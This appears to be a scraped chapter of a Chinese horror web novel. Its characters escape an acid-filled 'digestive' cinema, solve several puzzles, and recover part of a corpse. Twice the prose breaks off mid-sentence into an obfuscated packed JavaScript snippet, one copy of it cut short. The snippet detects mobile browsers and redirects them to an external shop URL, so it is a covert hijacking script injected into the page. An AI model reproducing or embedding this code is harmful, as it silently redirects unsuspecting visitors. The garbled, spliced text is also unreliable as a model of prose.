“啊……!!!” 他短促地惊叫一声,触电般抬起脚,单腿蹦跳着保持平衡,脸上血色褪尽。 “别站地上了!” 我赶紧过去扶着他,同时借着手电的光扫过那些蒙着白布、同样被粘液腐蚀得斑驳不堪的座椅,“地面腐蚀性最强,虽然座位也不安全,但比直接接触地上的酸强,站到座位上去。” 我率先踩上最近的一张座椅。 包裹座椅的布料早已腐烂,脚踩上去直接陷进了潮湿发霉的海绵填充物里,但至少隔开了下面那层不断渗出消化液的“肉毯”。 丁黎梓慌忙跟上,狼狈地跨上旁边一张椅子。 他的板鞋鞋底已经缺了一大块,露出下面的袜子和隐约发红的皮肤。 “坐着目标太大,容易被滴到,站着灵活点。”我赶忙交代,“我去那边看看,你自己注意头顶的‘酸’和脚下座位是否稳固,有情况立刻喊我。” 手电光扫过“胃壁”上方一个突兀的凸起。 那看起来好像不是肉瘤,是一个被包裹的红色金属箱体,表面漆皮剥落,依稀可见“消防”字样。 一根布满粘液、类似橡胶软管的物体从箱体一侧垂落,末端几乎触及地面,管口被半透明的肉膜封住。 一个消防栓? 不对,更像是这个“消化腔”在吞噬电影院时,未能完全分解、反而被畸形整合进来的异物。 “丁黎梓,你看!”我压低声音,脑中念头飞转。 酸可以用大量水稀释中和,这是化学常识。 如果那根管子还能通水…… “你是想放水?可这鬼地方哪来的供水系统?”丁黎梓单脚站着,艰难地用手电稳住光柱。 “它自己在‘代谢’,就有液体循环。”我盯着那根被生物组织包裹的软管,“赌一把呗,这管子连着它自己的‘循环系统’或者……还没被消化掉的原建筑管道。” 但问题来了,玻璃柜门被增生组织糊住,我独臂难以迅速撬开……若是直接砍管子,万一是血管或毒腺什么的呢? 就在这时,我目光落在那些被腐蚀的座椅铁架上。 几根锈蚀的支撑铁棍脱落在地,其中一根较为细长。 “有了。”我俯下身,保持平衡走过去,用脚将那根铁棍拨到跟前,右手捡起。 “你注意下我碰到那箱子时,这‘胃’会不会收缩。” 我将铁棍较尖的一端对准消防栓箱门缝隙,利用杠杆原理,将全身重量压上右臂,狠狠一撬。 “嘎吱——噗嗤!!” 箱门被撬开的瞬间,一股浓烈的腥臭黄水从缝隙喷涌而出,溅在旁边的肉壁上,立刻灼烧出更深的坑洞,发出剧烈的“嘶嘶”声。 这水酸性更强! 但箱门终于开了。 里面蜷缩的消防软管看起来相对完整,阀门锈死,但连接口似乎还可以转动。 最关键的,箱子内壁有一个独立的、小巧的手动泵,似乎是老式影院自救设备的一部分,竟未被完全腐蚀。 这可能是唯一的“净水”来源,泵取这个空间自身循环中尚未被胃酸完全混合的“□□”或“淋巴液”,虽然依旧危险,但浓度可能较低。 “丁黎梓,准备接应!我要泵水了,不确定出来的是什么,也可能更糟!” 我用铁棍卡住阀门,右手抓住手动泵拉杆,用尽全身力气,开始一下、一下地压动。 起初只有几声空洞的抽气声。 紧接着,软管剧烈颤抖,一股淡黄色、粘稠度稍低的液体猛地从管口冲破肉膜,激射而出! 我立刻将管口对准我们脚下那片被腐蚀得最厉害、不断渗出消化液的“地面”。 “嗤——!!” 水柱与强酸地面接触的瞬间,白汽疯狂蒸腾,刺鼻气体弥漫。 被冲刷的区域,腐蚀声明显减弱,颜色变浅。 太好了!有效! 但与此同时,整个腔体剧烈痉挛起来,头顶粘液滴落的速度倍增,肉壁开始向我们缓缓合拢。 它感知到了“不适”,竟开始加速消化我们! “地面暂时安全了,下来帮忙!” 我一边继续压动手动泵,一边喊道。 在水流持续的稀释下,我们周围一小片区域的腐蚀性显著下降,蒸腾的白汽也减弱了很多。 丁黎梓闻言,毫不犹豫地从椅子上跳下。 他那只鞋底被严重腐蚀的脚悬空蜷起,仅靠另一只相对完好的脚保持平衡,姿势狼狈。 而这时,幕布毫无征兆地亮了。 没有片头,没有音乐,只有一片扭曲晃动的光影。 画面中央,是一本皮革封面被蚀穿大半的笔记本。 特写推进,纸张焦黄卷曲,边缘布满蛀洞。 一句残缺的话,随着腐蚀痕迹的蔓延,在纸上浮现: “_ _ _说,交出真名,就能_ _ _ _。” 紧接着,句子末尾的空白处,像被无形之笔蘸着鲜血填满,挣出几个字: “我是_ _ _。” 但名字的部分,始终是翻滚的、令人作呕的马赛克般的肉粒,不断蠕动,无法辨认。 一个声音贴着头皮响起:“名字……是最后的祭品。也是……唯一的钥匙。” 画面的内容突然分裂,重组,发出湿腻的粘合声。 最终,它勉强凝固成三团勉强能辨的、残缺的字块: “讠”、“寸”。 拼成“谢”,但缺了“身”。 “丷”、“口”、“心”。 拼成“总”,但“心”缺了中间一点。 “礻”、“羊”。 拼成“祥”,但“示”缺了左上一点。 最后幕布上只留下三行冰冷的、由光线凿刻出的填空题: 第一空:_ _(承载存在之基) 第二空:_ _(驱动执念之源) 第三空:_ _(见证罪孽之窗) 填空题吗? 根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979668|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据字缺少的部分去猜的话,这倒是很简单。 “‘身之所存’——躯干。‘心之所系’——心脏。‘目之所视’——眼睛。” “咔哒……隆隆隆……” 头顶传来沉重的机械运转声,是来自影院真正的天花板。 那里,一个被肉膜包裹的老式大型排风扇缓缓停止转动,扇叶中心,一个卷盘降了下来,上面缠绕着结实的攀爬绳索,末端是沉重的钩锁。 但卷盘卡在离地近四米的高度,且绳索纠结,需要有人爬上去解开、固定。 丁黎梓看了一眼自己血肉模糊、几乎无法用力的脚,又看向我空荡的左肩。 “你先上。”我快速决断,“你脚伤了,但胳膊是好的,爬绳子主要靠手。我一只手没法独自爬,但我可以在下面帮你稳住绳子,你上去后固定好,再把我拉上去。” 丁黎梓看了一眼自己血肉模糊的脚,又看了看绳索,点头。 时间紧迫,下方消化腔的痉挛越来越剧烈。 他咬牙抓住绳索,尝试用脚蹬墙,但脚底一接触墙面就疼得闷哼一声,根本无法发力。 “别用脚!”我低喝,“纯靠手臂,腹部收紧!我在下面把绳子缠在腰上给你当固定锚点,减少摆动!” 我将绳索末端在自己腰间缠了两圈,扎紧,背靠那根尚未完全腐蚀的承重柱,扎稳马步,用全身重量和核心力量对抗绳索可能的晃动。 “上!” 丁黎梓深吸一口气,完全依靠双臂力量,开始引体向上式地攀爬。 他手臂肌肉块块隆起,青筋暴突,就在他即将够到下一段绳索时—— 嗤啦! 上方积聚的粘稠酸液,毫无征兆地滴落,正中他的肩背。 酸液滴落的轨迹就在他头顶上方,我必须移动绳索才能避开,可哪怕一寸的横向挪动,都意味着我要同时对抗他全身的重量和绳索巨大的摆动惯性。 右肩的骨头在呻吟,腰间的绳索勒得我几乎无法呼吸。我只能死死钉在原地,从齿缝里挤出嘶哑的声音: “忍住,再快一点……别停!” 除了相信他能熬过去,我什么也做不了。 我努力稳住绳索,减少他的能量消耗。 他终于爬到卷盘处,飞快地解开纠缠的绳索,将钩锁死死扣在排风扇骨架上。 “好了!晨晨,抓住绳子!” 我解开腰间绳索,用右手单手握紧。 上方,丁黎梓已经将绳索在他自己腰上缠了一圈,然后双手交替,开始发力上拉。 “脚蹬墙!给我个支点!”他吼道。 我用右脚猛蹬墙面,在他拉拽的瞬间向上发力,像是是徒手攀岩中保护员与攀登者的配合。 他提供主要提升力,我蹬墙减少他负担并控制方向。 好在我目前上升得很平稳。 一点点,远离下方那翻腾的、即将合拢的肉壁和酸液。 就在我脚底即将离开地面瞬间,下方最后一片立足之地被粘液淹没。 丁黎梓咆哮一声,爆发出最后力量,将我猛地拽了上去! 我们两人滚进狭窄的排风扇通道,跌作一团。 几乎在同时,下方传来血肉沉闷的彻底合拢声,像巨兽闭上了嘴。 最后一点光线被吞噬,只有我们粗重无比的喘息在黑暗通道里回荡。 丁黎梓的脚还在渗血,我的右手脱力般颤抖,左臂的疼痛如同有了心跳,一阵阵搏动。 但,我们出来了。用最原始的协作,从“消化腔”的喉咙里逃了出来。 我们不敢久留。 谁也不知道,这通道本身,是不是这栋活体建筑的另一段“肠道”。 “能走吗?”我看向丁黎梓的脚。 他咬咬牙,撕下自己一节衣袖,胡乱裹住脚底,“死不了。走。” 我搀着他,一瘸一拐,继续前进。 19.第19章 前面已经没路了。 结合刚才电影院的方位、这条通道的走向,以及我们在里面行进的距离来判断,这里应该就是第二个坐标点。 可放眼望去,什么都没有。 四周是规整而封闭的墙面,身后的通道幽深漆黑,也不可能再退回去了。 ……就是这里没错。 我低头看了一眼地图,坐标正是脚下的位置。 “这里肯定有机关,只是还没被触发,一旦启动,应该就能通往第二个坐标点。”我在地上摸索着。 墙面上有一条细长的凸起。 我用手电照过去,光圈里浮现出两个并排的把手,横着嵌在墙上。 像是门把手,又更像老旧柜子上的拉环,突兀地生在不该出现的地方。 “这什么鬼东西。” 我伸手摸了摸,用力往里一按,居然真的陷了进去,又迅速弹回原位,伴随着一声空洞的回响。 一个是长圆形的把手,一个是长方形的。 为什么形状不一样? 我又按了按长方形的那个,同样弹回,同样有回声。 这绝对是通往第二个坐标的机关。 我举着手电扫向四周,忽然注意到通道墙壁上有细细的纹路。 那种纹路……像复式楼梯扶手的立柱。 我顺着墙往前照,又看了看旁边……果然。 一根是方柱纹,一根是圆柱纹,交错排列。 “丁黎梓,你过来看。”我招呼他,“这边的纹路,一个是方的,一个是圆的。我觉得顺序就在这里。” 我往来时的方向退了几步,发现整条通道的墙壁上,全是这样的纹路。 “你该不会要从头一个一个数吧?”丁黎梓靠在两个把手旁。 “不然呢?让你这腿脚不便的来?” 我已经举着手电往回走了,“等会儿你只看我手电的光——照左壁是方,按方把手;照右壁是圆,按圆的。” 怕他听不清,我特地强调了一遍。 为了节省时间,我一路小跑回到起点。 “听得见吗!”我喊。 “你说什么?!”他的声音从通道尽头传来,断断续续。 ……果然听不见。 那就开始。 我按照纹路出现的顺序左右打灯。 “方……圆……圆……方……方……” 我一边低声念,一边打光,通道里不断传来他按下把手的回响。 刚走到一半,异变骤生。 通道四周开始渗出酸液,顺着墙壁缓缓流下,纹路被腐蚀得发出滋滋声。 “操!没时间了!” 我拔腿往前冲,“丁黎梓,加快!” 我一边跑,一边拼命辨认剩下的纹路,手电光在墙面上疯狂晃动,嘴里几乎是吼出来的—— “圆!方!圆!” 纹路越来越模糊,我的判断也开始迟疑。 丁黎梓缩着身子,尽量避开把手附近渗出的酸液,干脆脱下上衣裹住手,继续按。 最后一个。 我几乎是贴着墙确认的。 “是圆!!” 他猛地按下圆形把手。 下一秒,酸液开始倾泻,而我们脚下的通道墙壁缓缓裂开—— “跳!”我一把拉住丁黎梓,“快跳下去!” 他却猛地挣脱了我的手。 “不行!我恐高!” ……wdnmd???!!! 我差点当场裂开。 “酸都流到脚边了,你现在又不怕疼了是吧!”我吼他。 “可下面是什么谁知道啊!万一是实地,我们会被摔死的!”他眼神飘忽,明显在找借口。 “不会的!”我咬着牙跟他解释,“这是唯一通道,不可能是死路,这又不是二选一!” 酸液已经逼到脚边,热气和腐蚀味直往鼻腔里钻。 我深吸一口气,把手放在他背上,强迫自己语气平稳下来。 “丁黎梓。” “既然你恐高,不敢跳,那我背你,往回走,看看还有没有别的路。” 他眼睛一亮,立刻点头。 就在酸液即将漫到脚背的瞬间,我蹲下身,把他背了起来。 “走吧,晨晨。”他的手搭在我肩上。 “抓紧了哦。” 我回头,往前走了两步,眯着眼冲他笑了一下。 他像是意识到了什么,表情一僵。 下一秒—— 我直接一个纵身跃下! “啊啊啊啊啊啊!!!晨晨你骗我!!!” 他的惨叫声在通道里疯狂回荡。 我无视他的惨叫,也无视他抓得我肩膀生疼的手,我抽出武士刀划进身侧的岩壁,勉强放缓了我们下坠的势头,在下坠中默默读秒。 扑通—— 冰冷的水瞬间吞没了我们。 竟然这么深。 我屏住呼吸,拼命向上游去,一条胳膊受限,手腕也被刚刚武士刀反向冲击力扭到了,基本只能靠双腿。 丁黎梓却游得极快。 我忽然想起公司团建那次在苏梅岛,他是所有人里游得最快的一个。 这逼居然不救我…… 我在心里暗骂了一句。 大概是在报复我上一关拿他的命当诱饵。 体力迅速流失,我的动作开始变得迟缓,视线都有些发虚。 就在我快撑不住的时候,看到他已经游到岸边,却又猛地掉头,朝我这边游了回来。 他一把拽住我,把我拖出了水面,带着我一起上了岸。 我缓了好一会儿,呼吸才终于顺下来。 抬头看他,一时间竟不知道该说什么。 “看我干嘛?”他双手抱胸,语气别扭,“谁让你骗我跳下来的。” 哦。 原来不是因为我之前把他当诱饵的事。 “要不是我少了条胳膊,我自己也能游上来。” “你这人真是一点都不可爱,”他撇了撇嘴,“就不能说句谢谢?” 我狠狠瞪了他一眼:“你少说有的没的!” “凶死了。”丁黎梓揉了揉肩,“刚才我回来拉你的时候,好像看到水里有个箱子,被绳子绑在石头上。” “难不成是……?”我心里一紧。 我扶着岸边再次潜下水。水色昏暗,只能勉强看清轮廓——果然有个模模糊糊的箱子,沉在水底。 我浮上来换气:“你眼睛还挺好使。” “我下去拿。”丁黎梓伸手想拉我。 “我得一起。”我拦住他,“既然绑了绳子,肯定得用刀。你来割,我扶稳绳子。” 他点头:“行。” 我们再次潜入水中。我咬住武士刀,右手攥着他的腰带,由他带着往下潜。 水越来越冷,压得耳膜发疼。 大概七八米深,寒意顺着腿骨往上爬,冻得人发麻。 面前漂着那个箱子,被粗绳缠得严严实实,绳结交叉着固定在石头上,像是生怕它再浮上去。 我用一只脚踩住压在石头上的绳子,右手死死攥住另一端,让绳子绷紧不动,示意丁黎梓动手。 他拔刀下切。 我本就不擅水性,胸口憋得不行,视线开始发花,刚才坠水的冲击让身体多处隐隐作痛。我急促地朝他比了个手势——时间不多了。 丁黎梓明显也快撑不住了,动作加快。 绳子终于断开。 箱子失去束缚,缓缓往上浮去。 丁黎梓拉住我的胳膊,带着我朝水面游去。 上岸后喘了好一会儿,水面才泛起涟漪,那个箱子也浮了上来。 我们把它拖上岸,放在脚边。 箱子上挂着一把锁,上面只有一句话: “刚刚掉落的时候,大概是多少米?” 我愣了一下,随即笑了出来。 幸好,刚才我在往下坠的时候,顺手读了秒。 毕竟不是自由落体,无法准确计算出来掉落多少米,但我回想了一下…… 第一秒。 虎口和腕骨受到的冲击力像被铁锤砸中。 第二秒。 手臂的肌肉在尖叫,肩膀关节发出不堪重负的呻吟。 我知道当时的骨头还没断,但每一根肌腱都像拉到了极限的弓弦。 刀身在震动,发出高频的嗡鸣,传到我手心,麻了半个身子。 第三秒。 水面在急速逼近,从一片朦胧的深蓝,迅速变成清晰、甚至能看到波纹的镜面。 入水。 撞击比我想象的温和。 没有粉身碎骨的剧痛,更像被一个巨大的巴掌从脚到头狠狠拍了一遍。 水瞬间淹没了我,耳膜压力骤增,但意识无比清醒。 减速起了作用。 我在水下翻滚了几圈,借着残余的惯性滑向更深处,随后疼痛才慢慢浮现——握刀的手腕迅速肿起,肋骨处传来一阵闷闷的压痛。 但我和丁黎梓都没有重伤。 这说明,我们算是安全入水。 如果是这样,入水瞬间的速度大概在10到12米每秒之间。 我蹲在岸边的湿土上,用手指画着公式,自言自语: “总下落时间是3秒,最终安全速度按12米每秒算,重力加速度9.8米每秒平方……” “那减速度,大概是5.8米每秒平方。” 接下来,只需要反推高度。 我在地上写下数字和公式,一项一项代入。 计算结果很快就出来了—— 我盯着这个数字看了一会儿。 十八米。 难怪刚才那一下,像是把全身的骨头都重新敲了一遍。 我把锁上的数字调到那个答案。 “咔哒。” 锁开了。 一瞬间,我愣住了—— 居然一点误差都没有……?! 我忍不住低声笑了一下,胸腔里那口一直憋着的气终于吐了出来。 ……还真被我算对了。 箱盖被掀开的那一刻,笑意却僵在了脸上。 里面是一具只剩上半身的白骨,皮肉尚未完全腐烂,惨白与暗红交错,散发出一股潮湿、冰冷的气味。 “这……应该就是谢总祥的躯干。” 我脱下外衣,轻轻地将那具尸体仔细包裹起来。 “那现在怎么办?咱们怎么出去?”丁黎梓叹了口气,“这地方完全就是个水帘洞。” 我知道他在急什么。 九点,是我们回去的死线。 “……岸上真的什么都没有吗?” 我强撑着发疼的身体,沿着湿滑的岸边往四周摸索过去。 上面根本不可能爬上去,我们也不可能再回到那个“胃酸电影院”。 可四周空空荡荡,什么都没有。 ……难道在水里? 这个念头一冒出来,我的身体却先一步发出了抗议。 肌肉酸胀得发麻,呼吸都带着疼,我已经快到极限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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剩下的,只有谢总祥的心脏和眼睛还没有找到。 谢文岚、白羽他们……我根本不知道现在情况如何。 心里不免一阵发怵,才刚过第二个副本,就已经有人死,有人受伤,更别提后面还有整整十六个副本在等着我们。 第三个坐标,是一口枯井。 丁黎梓在井口紧握绳索,稳稳帮我拉着,我坐在木桶里,缓缓下沉。 打开手电筒,井口映出漆黑的深渊——空荡荡的。 “嘶嘶嘶淅淅索索……” 微弱的声响在井壁间回荡,像是蛇在吐信子,冰冷的气息顺着光线滑进心底,让我不由自主打了个寒颤。 我心头一紧,立刻贴着井壁躲了起来。 果然,蛇循着动静过来,鳞片摩擦井壁,发出细碎刺耳的声响。 它发现我的瞬间猛地弹起,张口就朝我扑来。 我几乎是本能反应,刀光一闪,横劈而下。 蛇身在半空中猛地一震,落地后还抽搐了几下,终于彻底不动了。 我盯着它看了两秒,确认没气了,这才弯腰把它拎起来,塞进怀里。 说不定还能带回去,煲个蛇汤。 “晨晨,你还好吗?刚刚听到好大的动静!”井口传来丁黎梓的声音。 “我没事儿,”我回应,“刚刚是一条蛇,别担心了。就请好吧,咱们能加餐了。” 希望丁黎梓和白羽能吃得惯蛇肉……我可不想大晚上再饿肚子了。 我向前走,来到一条分岔路口。 草,我刚刚真是乌鸦嘴。 刚才我还说,系统如果只给我们安排一条路,那条路就算看起来再危险,也不会直接把我们弄死。 可现在……如果系统故意给我们二选一,那就麻烦了…… 选错路,可就不是被蛇吓一跳那么简单了。 路口堵着两扇石门,我根本看不出里面有什么。 我伸手摸了摸冰凉的石门。 “解谜时间。”系统那贱兮兮的声音响起,“选对石门,心脏归你。选错……另一扇石门将为你打开——欢迎来到蛇窝。” 我谢谢你。 我靠近石门,手指轻轻抚过冰冷的石面。 突然,石壁上浮现出血红色的字: “黑先白后,步步相逼; 马走日,象走田; 只一着,便决生死。 心要稳,眼要准, 落子即开门。” 这明明是象棋的走法! 我环顾四周,地上赫然有九个凹槽,像棋盘的九宫格。每个凹槽里都有微微的凹陷痕迹,好像是让棋子落下的。 1 | 2 | 3 -------- 4 | 5 | 6 -------- 7 | 8 | 9 黑先白后,也就是说每次放棋子先黑后白。 马走日,象走田,落子要遵循象棋走法: 马走“日”形,类似跳两格横,一格竖。 象走“田”字,那就是斜对角两格。 我默默数了数手里的棋子——三黑三白,顺序一定要对。